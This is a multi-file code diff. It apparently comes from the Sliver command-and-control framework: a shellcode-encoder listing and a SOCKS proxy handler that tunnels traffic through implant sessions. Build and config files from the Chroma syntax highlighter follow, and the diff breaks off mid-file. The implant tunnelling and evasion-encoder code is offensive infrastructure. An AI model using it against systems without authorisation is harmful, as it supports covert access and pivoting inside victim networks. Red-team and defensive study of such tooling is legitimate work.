"shikata-ga-nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
},
|
||||
Encoders: map[string]*clientpb.ShellcodeEncoderArchMap{},
|
||||
}
|
||||
|
||||
arches := make([]string, 0, len(shellcode.ShellcodeEncoders))
|
||||
for arch := range shellcode.ShellcodeEncoders {
|
||||
arches = append(arches, arch)
|
||||
}
|
||||
sort.Strings(arches)
|
||||
|
||||
for _, arch := range arches {
|
||||
encoderMap := shellcode.ShellcodeEncoders[arch]
|
||||
if encoderMap == nil {
|
||||
continue
|
||||
}
|
||||
resp.Encoders[arch] = &clientpb.ShellcodeEncoderArchMap{
|
||||
Encoders: map[string]clientpb.ShellcodeEncoder{},
|
||||
Descriptions: map[string]string{},
|
||||
}
|
||||
names := make([]string, 0, len(encoderMap))
|
||||
for name := range encoderMap {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
for _, name := range names {
|
||||
if enumVal, ok := shellcodeEncoderEnums[name]; ok {
|
||||
resp.Encoders[arch].Encoders[name] = enumVal
|
||||
}
|
||||
resp.Encoders[arch].Descriptions[name] = encoderMap[name].Description()
|
||||
}
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func defaultShellcodeArch(encoderName string) string {
|
||||
var candidates []string
|
||||
for arch, encoderMap := range shellcode.ShellcodeEncoders {
|
||||
if _, ok := encoderMap[encoderName]; ok {
|
||||
candidates = append(candidates, arch)
|
||||
}
|
||||
}
|
||||
if len(candidates) == 1 {
|
||||
return candidates[0]
|
||||
}
|
||||
for _, arch := range candidates {
|
||||
if arch == "amd64" {
|
||||
return arch
|
||||
}
|
||||
}
|
||||
if len(candidates) > 0 {
|
||||
sort.Strings(candidates)
|
||||
return candidates[0]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
+322
-50
@@ -20,8 +20,11 @@ package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
@@ -32,15 +35,16 @@ import (
|
||||
|
||||
var (
|
||||
// SessionID->Tunnels[TunnelID]->Tunnel->Cache map[uint64]*sliverpb.SocksData{}
|
||||
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
|
||||
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}, lastActivity: map[uint64]time.Time{}}
|
||||
|
||||
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
|
||||
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
|
||||
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}, lastActivity: map[uint64]time.Time{}}
|
||||
)
|
||||
|
||||
type socksDataCache struct {
|
||||
mutex *sync.RWMutex
|
||||
cache map[uint64]map[uint64]*sliverpb.SocksData
|
||||
mutex *sync.RWMutex
|
||||
cache map[uint64]map[uint64]*sliverpb.SocksData
|
||||
lastActivity map[uint64]time.Time
|
||||
}
|
||||
|
||||
func (c *socksDataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.SocksData) {
|
||||
@@ -72,6 +76,7 @@ func (c *socksDataCache) DeleteTun(tunnelID uint64) {
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(c.cache, tunnelID)
|
||||
delete(c.lastActivity, tunnelID)
|
||||
}
|
||||
|
||||
func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
|
||||
@@ -85,69 +90,299 @@ func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
|
||||
delete(c.cache[tunnelID], sequence)
|
||||
}
|
||||
|
||||
func (c *socksDataCache) recordActivity(tunnelID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
c.lastActivity[tunnelID] = time.Now()
|
||||
}
|
||||
|
||||
// Socks - Open an in-band port forward
|
||||
|
||||
const (
|
||||
writeTimeout = 5 * time.Second
|
||||
batchSize = 100 // Maximum number of sequences to batch
|
||||
inactivityCheckInterval = 4 * time.Second
|
||||
inactivityTimeout = 15 * time.Second
|
||||
ToImplantTickerInterval = 10 * time.Millisecond // data going towards implant is usually smaller request data
|
||||
ToClientTickerInterval = 5 * time.Millisecond // data coming back from implant is usually larger response data
|
||||
)
|
||||
|
||||
func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
|
||||
errChan := make(chan error, 2)
|
||||
defer close(errChan)
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
connDone := make(chan struct{})
|
||||
defer close(connDone)
|
||||
|
||||
// Track all goroutines spawned for this session
|
||||
var wg sync.WaitGroup
|
||||
defer wg.Wait()
|
||||
|
||||
// Track all tunnels created for this session
|
||||
activeTunnels := make(map[uint64]bool)
|
||||
var tunnelMutex sync.Mutex
|
||||
|
||||
// Cleanup all tunnels on SocksProxy closure
|
||||
defer func() {
|
||||
tunnelMutex.Lock()
|
||||
for tunnelID := range activeTunnels {
|
||||
if tunnel := core.SocksTunnels.Get(tunnelID); tunnel != nil {
|
||||
rpcLog.Infof("Cleaning up tunnel %d on proxy closure", tunnelID)
|
||||
close(tunnel.FromImplant)
|
||||
tunnel.Client = nil
|
||||
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
|
||||
}
|
||||
}
|
||||
tunnelMutex.Unlock()
|
||||
}()
|
||||
|
||||
for {
|
||||
select {
|
||||
case err := <-errChan:
|
||||
rpcLog.Errorf("SocksProxy error: %v", err)
|
||||
return err
|
||||
default:
|
||||
}
|
||||
|
||||
fromClient, err := stream.Recv()
|
||||
if err == io.EOF {
|
||||
break
|
||||
return nil
|
||||
}
|
||||
//fmt.Println("Send Agent 1 ",fromClient.TunnelID,len(fromClient.Data))
|
||||
if err != nil {
|
||||
rpcLog.Warnf("Error on stream recv %s", err)
|
||||
return rpcError(err)
|
||||
}
|
||||
tunnelLog.Debugf("Tunnel %d: From client %d byte(s)",
|
||||
fromClient.TunnelID, len(fromClient.Data))
|
||||
socks := core.SocksTunnels.Get(fromClient.TunnelID)
|
||||
if socks == nil {
|
||||
return nil
|
||||
|
||||
tunnelMutex.Lock()
|
||||
activeTunnels[fromClient.TunnelID] = true // Mark this as an active tunnel
|
||||
tunnelMutex.Unlock()
|
||||
|
||||
tunnel := core.SocksTunnels.Get(fromClient.TunnelID)
|
||||
if tunnel == nil {
|
||||
continue
|
||||
}
|
||||
if socks.Client == nil {
|
||||
socks.Client = stream // Bind client to tunnel
|
||||
// Send Client
|
||||
go func() {
|
||||
for tunnelData := range socks.FromImplant {
|
||||
|
||||
fromImplantCacheSocks.Add(fromClient.TunnelID, tunnelData.Sequence, tunnelData)
|
||||
if tunnel.Client == nil {
|
||||
tunnel.Client = stream
|
||||
tunnel.FromImplant = make(chan *sliverpb.SocksData, 100) // Buffered channel for 100 messages
|
||||
|
||||
for recv, ok := fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence); ok; recv, ok = fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence) {
|
||||
rpcLog.Debugf("[socks] agent to (Server To Client) Data Sequence %d , Data Size %d ,Data %v\n", socks.FromImplantSequence, len(recv.Data), recv.Data)
|
||||
socks.Client.Send(&sliverpb.SocksData{
|
||||
CloseConn: recv.CloseConn,
|
||||
TunnelID: recv.TunnelID,
|
||||
Data: recv.Data,
|
||||
})
|
||||
|
||||
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.FromImplantSequence)
|
||||
socks.FromImplantSequence++
|
||||
// Monitor tunnel goroutines for inactivity and cleanup
|
||||
wg.Add(1)
|
||||
go func(tunnelID uint64) {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
rpcLog.Errorf("Recovered from panic in monitor: %v", r)
|
||||
errChan <- fmt.Errorf("monitor goroutine panic: %v", r)
|
||||
cancel() // Cancel context in case of a panic
|
||||
}
|
||||
}()
|
||||
|
||||
ticker := time.NewTicker(inactivityCheckInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-connDone:
|
||||
return
|
||||
case <-ticker.C:
|
||||
tunnel := core.SocksTunnels.Get(tunnelID)
|
||||
if tunnel == nil || tunnel.Client == nil {
|
||||
return
|
||||
}
|
||||
session := core.Sessions.Get(tunnel.SessionID)
|
||||
|
||||
// Check both caches for activity
|
||||
toImplantCacheSocks.mutex.RLock()
|
||||
fromImplantCacheSocks.mutex.RLock()
|
||||
toLastActivity := toImplantCacheSocks.lastActivity[tunnelID]
|
||||
fromLastActivity := fromImplantCacheSocks.lastActivity[tunnelID]
|
||||
toImplantCacheSocks.mutex.RUnlock()
|
||||
fromImplantCacheSocks.mutex.RUnlock()
|
||||
|
||||
// Clean up goroutine if both directions have hit the idle threshold
|
||||
if time.Since(toLastActivity) > inactivityTimeout && time.Since(fromLastActivity) > inactivityTimeout {
|
||||
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
|
||||
return
|
||||
}
|
||||
|
||||
// Clean up goroutine if the client has disconnected early
|
||||
if tunnel.Client == nil || session == nil {
|
||||
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}(fromClient.TunnelID)
|
||||
|
||||
// Send Client
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
rpcLog.Errorf("Recovered from panic in client sender: %v", r)
|
||||
errChan <- fmt.Errorf("client sender panic: %v", r)
|
||||
cancel() // Cancel context in case of a panic
|
||||
}
|
||||
}()
|
||||
|
||||
pendingData := make(map[uint64]*sliverpb.SocksData)
|
||||
ticker := time.NewTicker(ToClientTickerInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-connDone:
|
||||
return
|
||||
case tunnelData, ok := <-tunnel.FromImplant:
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
|
||||
// Check if implant is requesting to close the tunnel
|
||||
if tunnelData.CloseConn {
|
||||
// Clean up the tunnel
|
||||
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: fromClient.TunnelID})
|
||||
return
|
||||
}
|
||||
|
||||
sequence := tunnelData.Sequence
|
||||
fromImplantCacheSocks.Add(fromClient.TunnelID, sequence, tunnelData)
|
||||
pendingData[sequence] = tunnelData
|
||||
fromImplantCacheSocks.recordActivity(fromClient.TunnelID)
|
||||
|
||||
case <-ticker.C:
|
||||
if tunnel.Client == nil {
|
||||
return
|
||||
}
|
||||
if len(pendingData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
expectedSequence := atomic.LoadUint64(&tunnel.FromImplantSequence)
|
||||
processed := 0
|
||||
|
||||
// Perform Batching
|
||||
for i := 0; i < batchSize && processed < len(pendingData); i++ {
|
||||
data, exists := pendingData[expectedSequence]
|
||||
if !exists {
|
||||
break // Stop batching if we don't have the next expected sequence
|
||||
}
|
||||
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
errChan <- fmt.Errorf("Client sender panic: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
err := stream.Send(&sliverpb.SocksData{
|
||||
CloseConn: data.CloseConn,
|
||||
TunnelID: data.TunnelID,
|
||||
Data: data.Data,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
rpcLog.Errorf("Send error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
delete(pendingData, expectedSequence)
|
||||
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, expectedSequence)
|
||||
atomic.AddUint64(&tunnel.FromImplantSequence, 1)
|
||||
expectedSequence++
|
||||
processed++
|
||||
}()
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// Send Agent
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
rpcLog.Errorf("Recovered from panic in agent sender: %v", r)
|
||||
errChan <- fmt.Errorf("agent sender panic: %v", r)
|
||||
cancel() // Cancel context in case of a panic
|
||||
}
|
||||
}()
|
||||
|
||||
pendingData := make(map[uint64]*sliverpb.SocksData)
|
||||
ticker := time.NewTicker(ToImplantTickerInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-connDone:
|
||||
return
|
||||
case <-ticker.C:
|
||||
if tunnel.Client == nil {
|
||||
return
|
||||
}
|
||||
sequence := atomic.LoadUint64(&tunnel.ToImplantSequence)
|
||||
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
rpcLog.Errorf("Recovered from processing panic: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
for {
|
||||
recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, sequence)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(fromClient.Request.SessionID)
|
||||
if session == nil {
|
||||
rpcLog.Error("Session not found")
|
||||
break
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(recv)
|
||||
if err != nil {
|
||||
rpcLog.Errorf("Failed to marshal data: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
select {
|
||||
case session.Connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgSocksData,
|
||||
Data: data,
|
||||
}:
|
||||
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, sequence)
|
||||
atomic.AddUint64(&tunnel.ToImplantSequence, 1)
|
||||
sequence++
|
||||
case <-time.After(writeTimeout):
|
||||
rpcLog.Error("Write timeout to implant")
|
||||
pendingData[sequence] = recv
|
||||
break
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Send Agent
|
||||
go func() {
|
||||
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
|
||||
|
||||
for recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence); ok; recv, ok = toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence) {
|
||||
rpcLog.Debugf("[socks] Client to (Server To Agent) Data Sequence %d , Data Size %d \n", socks.ToImplantSequence, len(fromClient.Data))
|
||||
data, _ := proto.Marshal(recv)
|
||||
|
||||
session := core.Sessions.Get(fromClient.Request.SessionID)
|
||||
session.Connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgSocksData,
|
||||
Data: data,
|
||||
}
|
||||
|
||||
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.ToImplantSequence)
|
||||
socks.ToImplantSequence++
|
||||
}
|
||||
|
||||
}()
|
||||
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// CreateSocks5 - Create requests we close a Socks
|
||||
@@ -169,11 +404,48 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
|
||||
|
||||
// CloseSocks - Client requests we close a Socks
|
||||
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
|
||||
err := core.SocksTunnels.Close(req.TunnelID)
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
rpcLog.Errorf("Recovered from panic in CloseSocks for tunnel %d: %v", req.TunnelID, r)
|
||||
}
|
||||
}()
|
||||
|
||||
tunnel := core.SocksTunnels.Get(req.TunnelID)
|
||||
if tunnel != nil {
|
||||
// Signal close to implant first
|
||||
if session := core.Sessions.Get(tunnel.SessionID); session != nil {
|
||||
data, _ := proto.Marshal(&sliverpb.SocksData{
|
||||
TunnelID: req.TunnelID,
|
||||
CloseConn: true,
|
||||
})
|
||||
session.Connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgSocksData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond) // Delay to allow close message to be sent
|
||||
tunnel.Client = nil // Cleanup the tunnel
|
||||
if tunnel.FromImplant != nil {
|
||||
select {
|
||||
case _, ok := <-tunnel.FromImplant:
|
||||
if ok {
|
||||
close(tunnel.FromImplant)
|
||||
}
|
||||
default:
|
||||
close(tunnel.FromImplant)
|
||||
}
|
||||
tunnel.FromImplant = nil
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up caches
|
||||
toImplantCacheSocks.DeleteTun(req.TunnelID)
|
||||
fromImplantCacheSocks.DeleteTun(req.TunnelID)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
|
||||
// Remove from core tunnels last
|
||||
if err := core.SocksTunnels.Close(req.TunnelID); err != nil {
|
||||
rpcLog.Errorf("Error closing tunnel %d: %v", req.TunnelID, err)
|
||||
}
|
||||
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
@@ -38,7 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/sgn"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
|
||||
"google.golang.org/grpc/codes"
|
||||
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
root = true
|
||||
|
||||
[*]
|
||||
indent_style = tab
|
||||
end_of_line = lf
|
||||
charset = utf-8
|
||||
trim_trailing_whitespace = true
|
||||
insert_final_newline = true
|
||||
|
||||
[*.xml]
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
insert_final_newline = false
|
||||
|
||||
[*.yml]
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
# Binaries for programs and plugins
|
||||
.git
|
||||
.idea
|
||||
.vscode
|
||||
.hermit
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
/cmd/chroma/chroma
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
|
||||
_models/
|
||||
|
||||
_examples/
|
||||
*.min.*
|
||||
build/
|
||||
|
||||
cmd/chromad/static/chroma.wasm
|
||||
cmd/chromad/static/wasm_exec.js
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
run:
|
||||
tests: true
|
||||
|
||||
output:
|
||||
print-issued-lines: false
|
||||
|
||||
linters:
|
||||
enable-all: true
|
||||
disable:
|
||||
- lll
|
||||
- gocyclo
|
||||
- dupl
|
||||
- gochecknoglobals
|
||||
- funlen
|
||||
- godox
|
||||
- wsl
|
||||
- gocognit
|
||||
- nolintlint
|
||||
- testpackage
|
||||
- godot
|
||||
- nestif
|
||||
- paralleltest
|
||||
- nlreturn
|
||||
- cyclop
|
||||
- gci
|
||||
- gofumpt
|
||||
- errorlint
|
||||
- exhaustive
|
||||
- wrapcheck
|
||||
- stylecheck
|
||||
- thelper
|
||||
- nonamedreturns
|
||||
- revive
|
||||
- dupword
|
||||
- exhaustruct
|
||||
- varnamelen
|
||||
- forcetypeassert
|
||||
- ireturn
|
||||
- maintidx
|
||||
- govet
|
||||
- testableexamples
|
||||
- musttag
|
||||
- depguard
|
||||
- goconst
|
||||
- perfsprint
|
||||
- mnd
|
||||
- predeclared
|
||||
- recvcheck
|
||||
- tenv
|
||||
- err113
|
||||
|
||||
linters-settings:
|
||||
gocyclo:
|
||||
min-complexity: 10
|
||||
dupl:
|
||||
threshold: 100
|
||||
goconst:
|
||||
min-len: 8
|
||||
min-occurrences: 3
|
||||
forbidigo:
|
||||
#forbid:
|
||||
# - (Must)?NewLexer$
|
||||
exclude_godoc_examples: false
|
||||
|
||||
|
||||
issues:
|
||||
exclude-dirs:
|
||||
- _examples
|
||||
max-per-linter: 0
|
||||
max-same: 0
|
||||
exclude-use-default: false
|
||||
exclude:
|
||||
# Captured by errcheck.
|
||||
- '^(G104|G204):'
|
||||
# Very commonly not checked.
|
||||
- 'Error return value of .(.*\.Help|.*\.MarkFlagRequired|(os\.)?std(out|err)\..*|.*Close|.*Flush|os\.Remove(All)?|.*printf?|os\.(Un)?Setenv). is not checked'
|
||||
- 'exported method (.*\.MarshalJSON|.*\.UnmarshalJSON|.*\.EntityURN|.*\.GoString|.*\.Pos) should have comment or be unexported'
|
||||
- 'composite literal uses unkeyed fields'
|
||||
- 'declaration of "err" shadows declaration'
|
||||
- 'should not use dot imports'
|
||||
- 'Potential file inclusion via variable'
|
||||
- 'should have comment or be unexported'
|
||||
- 'comment on exported var .* should be of the form'
|
||||
- 'at least one file in a package should have a package comment'
|
||||
- 'string literal contains the Unicode'
|
||||
- 'methods on the same type should have the same receiver name'
|
||||
- '_TokenType_name should be _TokenTypeName'
|
||||
- '`_TokenType_map` should be `_TokenTypeMap`'
|
||||
- 'rewrite if-else to switch statement'
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
project_name: chroma
|
||||
release:
|
||||
github:
|
||||
owner: alecthomas
|
||||
name: chroma
|
||||
brews:
|
||||
- install: bin.install "chroma"
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
builds:
|
||||
- goos:
|
||||
- linux
|
||||
- darwin
|
||||
- windows
|
||||
goarch:
|
||||
- arm64
|
||||
- amd64
|
||||
- "386"
|
||||
goarm:
|
||||
- "6"
|
||||
dir: ./cmd/chroma
|
||||
main: .
|
||||
ldflags: -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{.Date}}
|
||||
binary: chroma
|
||||
archives:
|
||||
- format: tar.gz
|
||||
name_template: "{{ .Binary }}-{{ .Version }}-{{ .Os }}-{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}"
|
||||
files:
|
||||
- COPYING
|
||||
- README*
|
||||
snapshot:
|
||||
name_template: SNAPSHOT-{{ .Commit }}
|
||||
checksum:
|
||||
name_template: "{{ .ProjectName }}-{{ .Version }}-checksums.txt"
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
Chroma is a syntax highlighting library, tool and web playground for Go. It is based on Pygments and includes importers for it, so most of the same concepts from Pygments apply to Chroma.
|
||||
|
||||
This project is written in Go, uses Hermit to manage tooling, and Just for helper commands. Helper scripts are in ./scripts.
|
||||
|
||||
Language definitions are XML files defined in ./lexers/embedded/*.xml.
|
||||
|
||||
Styles/themes are defined in ./styles/*.xml.
|
||||
|
||||
The CLI can be run with `chroma`.
|
||||
|
||||
The web playground can be run with `chromad --csrf-key=moo`. It blocks, so should generally be run in the background. It also does not hot reload, so has to be manually restarted. The playground has two modes - for local development it uses the server itself to render, while for production running `just chromad` will compile ./cmd/libchromawasm into a WASM module that is bundled into `chromad`.
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
VERSION = %(git describe --tags --dirty --always)%
|
||||
export CGOENABLED = 0
|
||||
|
||||
tokentype_enumer.go: types.go
|
||||
build: go generate
|
||||
|
||||
# Regenerate the list of lexers in the README
|
||||
README.md: lexers/*.go lexers/*/*.xml table.py
|
||||
build: ./table.py
|
||||
-clean
|
||||
|
||||
implicit %{1}%{2}.min.%{3}: **/*.{css,js}
|
||||
build: esbuild --bundle %{IN} --minify --outfile=%{OUT}
|
||||
|
||||
implicit build/%{1}: cmd/*
|
||||
cd cmd/%{1}
|
||||
inputs: cmd/%{1}/**/* **/*.go
|
||||
build: go build -ldflags="-X 'main.version=%{VERSION}'" -o ../../build/%{1} .
|
||||
|
||||
#upload: chromad
|
||||
# build:
|
||||
# scp chromad [email protected]:
|
||||
# ssh [email protected] 'install -m755 ./chromad /srv/http/swapoff.org/bin && service chromad restart'
|
||||
# touch upload
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
Copyright (C) 2017 Alec Thomas
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+64
@@ -0,0 +1,64 @@
|
||||
# Multi-stage Dockerfile for chromad Go application using Hermit-managed tools
|
||||
|
||||
# Build stage
|
||||
FROM ubuntu:24.04 AS builder
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
git \
|
||||
ca-certificates \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy the entire project (including bin directory with Hermit tools)
|
||||
COPY . .
|
||||
|
||||
# Make Hermit tools executable and add to PATH
|
||||
ENV PATH="/app/bin:${PATH}"
|
||||
|
||||
# Set Go environment variables for static compilation
|
||||
ENV CGO_ENABLED=0
|
||||
ENV GOOS=linux
|
||||
ENV GOARCH=amd64
|
||||
|
||||
# Build the application using just
|
||||
RUN just chromad
|
||||
|
||||
# Runtime stage
|
||||
FROM alpine:3.23 AS runtime
|
||||
|
||||
# Install ca-certificates for HTTPS requests
|
||||
RUN apk --no-cache add ca-certificates curl
|
||||
|
||||
# Create a non-root user
|
||||
RUN addgroup -g 1001 chromad && \
|
||||
adduser -D -s /bin/sh -u 1001 -G chromad chromad
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy the binary from build stage
|
||||
COPY --from=builder /app/build/chromad /app/chromad
|
||||
|
||||
# Change ownership to non-root user
|
||||
RUN chown chromad:chromad /app/chromad
|
||||
|
||||
# Switch to non-root user
|
||||
USER chromad
|
||||
|
||||
# Expose port (default is 8080, but can be overridden via PORT env var)
|
||||
EXPOSE 8080
|
||||
|
||||
# Set default environment variables
|
||||
ENV PORT=8080
|
||||
ENV CHROMA_CSRF_KEY="testtest"
|
||||
|
||||
# Health check
|
||||
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
|
||||
CMD curl -fsSL http://127.0.0.1:8080/ > /dev/null
|
||||
|
||||
# Run the application
|
||||
CMD ["sh", "-c", "./chromad --csrf-key=$CHROMA_CSRF_KEY --bind=0.0.0.0:$PORT"]
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
set positional-arguments := true
|
||||
set shell := ["bash", "-c"]
|
||||
|
||||
version := `git describe --tags --dirty --always`
|
||||
export GOOS := env("GOOS", "linux")
|
||||
export GOARCH := env("GOARCH", "amd64")
|
||||
|
||||
_help:
|
||||
@just -l
|
||||
|
||||
# Generate README.md from lexer definitions
|
||||
readme:
|
||||
#!/usr/bin/env bash
|
||||
GOOS= GOARCH= ./table.py
|
||||
|
||||
# Generate tokentype_string.go
|
||||
tokentype-string:
|
||||
go generate
|
||||
|
||||
# Format JavaScript files
|
||||
format-js:
|
||||
biome format --write cmd/chromad/static/index.js cmd/chromad/static/chroma.js
|
||||
|
||||
# Build chromad binary
|
||||
chromad: wasm-exec chroma-wasm
|
||||
#!/usr/bin/env bash
|
||||
rm -rf build
|
||||
mk cmd/chromad/static/index.min.js : cmd/chromad/static/{index,chroma}.js -- \
|
||||
esbuild --platform=browser --format=esm --bundle cmd/chromad/static/index.js --minify --external:./wasm_exec.js --outfile=cmd/chromad/static/index.min.js
|
||||
mk cmd/chromad/static/index.min.css : cmd/chromad/static/index.css -- \
|
||||
esbuild --bundle cmd/chromad/static/index.css --minify --outfile=cmd/chromad/static/index.min.css
|
||||
cd cmd/chromad && CGOENABLED=0 go build -ldflags="-X 'main.version={{ version }}'" -o ../../build/chromad .
|
||||
|
||||
# Copy wasm_exec.js from TinyGo
|
||||
wasm-exec:
|
||||
#!/usr/bin/env bash
|
||||
tinygoroot=$(tinygo env TINYGOROOT)
|
||||
mk cmd/chromad/static/wasm_exec.js : "$tinygoroot/targets/wasm_exec.js" -- \
